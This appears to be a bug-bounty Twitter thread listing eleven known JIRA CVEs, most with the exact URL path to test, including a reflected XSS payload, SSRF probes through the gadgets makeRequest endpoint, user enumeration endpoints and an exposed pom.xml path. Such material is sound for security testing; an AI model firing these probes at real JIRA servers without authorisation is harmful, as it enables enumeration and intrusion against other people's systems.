Twitter Thread by Harsh Bothra



Harsh Bothra
@harshbothra_



#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=

(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.

(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa

(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:1337@example.com
8. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:1337@ea.com

(6/n)
9. CVE-2019-8449 (User Information Disclosure)
a. Navigate to /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.

(7/n)
10. CVE-2019-3403 (User Enumeration)
a. Navigate to /rest/api/2/user/picker?query=
b. Observe the difference in response when valid vs. invalid user is queried.

(8/n)

11. CVE-2019-8442 (Sensitive Information Disclosure)

a. Navigate to /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.

(n/n)
Tools: Nuclei Template can be used to automate most of these CVEs Detection.
H1 Reports:
- https://t.co/AaXKHt4NZZ
- https://t.co/hNrzpDgB5A
Blogs:
- https://t.co/ZMVc80vrYQ